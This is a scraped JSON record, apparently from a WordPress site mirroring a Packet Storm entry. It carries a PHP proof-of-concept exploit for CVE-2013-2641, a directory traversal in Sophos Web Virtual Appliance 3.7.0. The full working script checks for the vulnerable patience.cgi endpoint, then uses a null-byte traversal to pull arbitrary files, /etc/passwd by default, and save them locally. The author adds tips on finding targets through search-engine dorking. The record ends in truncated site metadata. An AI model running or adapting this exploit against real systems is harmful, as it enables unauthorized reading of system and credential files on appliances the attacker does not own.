{“lastseen”:”2026-02-20T22:59:32″,”description”:”Proof of concept exploit for an older vulnerability from 2013 where Sophos Web Virtual Appliance version 3.7.0 suffered from a directory traversal vulnerability…”,”published”:”2026-02-20T00:00:00″,”modified”:”2026-02-20T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Sophos Web Virtual Appliance 3.7.0 Directory Traversal”,”source”:””,”references”:””,”id”:”PACKETSTORM:215965″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2013-2641″],”sourceData”:”=============================================================================================================================================\\n | # Title : Sophos Web Virtual Appliance v3.7.0 Directory Traversal Vulnerability |\\n | # Author : indoushka |\\n | # Tested on : windows 10 Fr(Pro) \/ browser : Mozilla firefox 135.0.1 (64 bits) |\\n | # Vendor : https:\/\/www.sophos.com\/en-us\/support\/downloads\/virtual-web-appliance |\\n =============================================================================================================================================\\n \\n POC :\\n \\n [+] Dorking \u0130n Google Or Other Search Enggine.\\n \\n [+] Code Description: This code allows you to exploit the Traversal Directory vulnerability in the Sophos Web Protection Appliance to retrieve any file from the system. \\n \\n cURL was used to execute HTTP requests, and the response was handled to verify the success of the attack and save the retrieved content to a local file.\\n \\n (Related : https:\/\/packetstorm.news\/files\/id\/180832\/ Linked CVE numbers: CVE-2013-2641 ) .\\n \\t\\n [+] save code as poc.php.\\n \\n [+] Set target : line 84\\n \\n [+] PayLoad :\\n \\n \\u003c?php\\n \\n class SophosTraversalExploit {\\n private $target;\\n private $port;\\n private $filepath;\\n private $depth;\\n \\n public function __construct($target, $port = 443, $filepath = ‘\/etc\/passwd’, $depth = 2) {\\n $this-\\u003etarget = $target;\\n $this-\\u003eport = $port;\\n $this-\\u003efilepath = $filepath;\\n $this-\\u003edepth = $depth;\\n }\\n \\n private function my_basename($filename) {\\n return basename(str_replace(‘\\\\\\\\’, ‘\/’, $filename));\\n }\\n \\n private function is_proficy() {\\n $url = \\”https:\/\/{$this-\\u003etarget}:{$this-\\u003eport}\/cgi-bin\/patience.cgi\\”;\\n $response = $this-\\u003esend_request($url);\\n \\n if ($response \\u0026\\u0026 strpos($response[‘body’], ‘The patience page request was not valid’) !== false) {\\n return true;\\n }\\n return false;\\n }\\n \\n private function read_file() {\\n $traversal_path = str_repeat(‘..\/’, $this-\\u003edepth) . $this-\\u003efilepath . \\”%00\\”;\\n echo \\”Retrieving file contents…\\\\n\\”;\\n \\n $url = \\”https:\/\/{$this-\\u003etarget}:{$this-\\u003eport}\/cgi-bin\/patience.cgi?id=\\” . urlencode($traversal_path);\\n $response = $this-\\u003esend_request($url);\\n \\n if ($response \\u0026\\u0026 ($response[‘code’] == 200 || $response[‘code’] == 500) \\u0026\\u0026 isset($response[‘headers’][‘X-Sophos-PatienceID’])) {\\n return $response[‘body’];\\n } else {\\n echo \\”Error: \\” . $response[‘code’] . \\”\\\\n\\” . $response[‘body’] . \\”\\\\n\\”;\\n return null;\\n }\\n }\\n \\n private function send_request($url) {\\n $ch = curl_init();\\n curl_setopt($ch, CURLOPT_URL, $url);\\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\\n curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);\\n curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);\\n \\n $body = curl_exec($ch);\\n $code = curl_getinfo($ch, CURLINFO_HTTP_CODE);\\n $headers = curl_getinfo($ch);\\n \\n curl_close($ch);\\n \\n return [‘code’ =\\u003e $code, ‘body’ =\\u003e $body, ‘headers’ =\\u003e $headers];\\n }\\n \\n public function run() {\\n echo \\”Checking if it’s a Sophos Web Protect Appliance with the vulnerable component…\\\\n\\”;\\n \\n if ($this-\\u003eis_proficy()) {\\n echo \\”Check successful\\\\n\\”;\\n } else {\\n echo \\”Sophos Web Protect Appliance vulnerable component not found\\\\n\\”;\\n return;\\n }\\n \\n $contents = $this-\\u003eread_file();\\n if ($contents === null) {\\n echo \\”File not downloaded\\\\n\\”;\\n return;\\n }\\n \\n $file_name = $this-\\u003emy_basename($this-\\u003efilepath);\\n file_put_contents($file_name, $contents);\\n echo \\”File saved as: \\” . $file_name . \\”\\\\n\\”;\\n }\\n }\\n \\n $exploit = new SophosTraversalExploit(‘target.com’);\\n $exploit-\\u003erun();\\n \\n \\n \\n \\n Greetings to :=====================================================================================\\n jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n ===================================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/215965″,”cvss”:{“score”:5,”severity”:”MEDIUM”,”vector”:”AV:N\/AC:L\/Au:N\/C:P\/I:N\/A:N”,”version”:”2.0″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/215965\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-02-20T22:59:32″,”description”:”Proof of concept exploit for an older vulnerability from 2013 where Sophos Web Virtual Appliance version 3.7.0 suffered from a directory traversal vulnerability…”,”published”:”2026-02-20T00:00:00″,”modified”:”2026-02-20T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Sophos Web…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,128,12,21,13,53,7,11,5],"class_list":["post-42059","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-50","tag-exploit","tag-medium","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n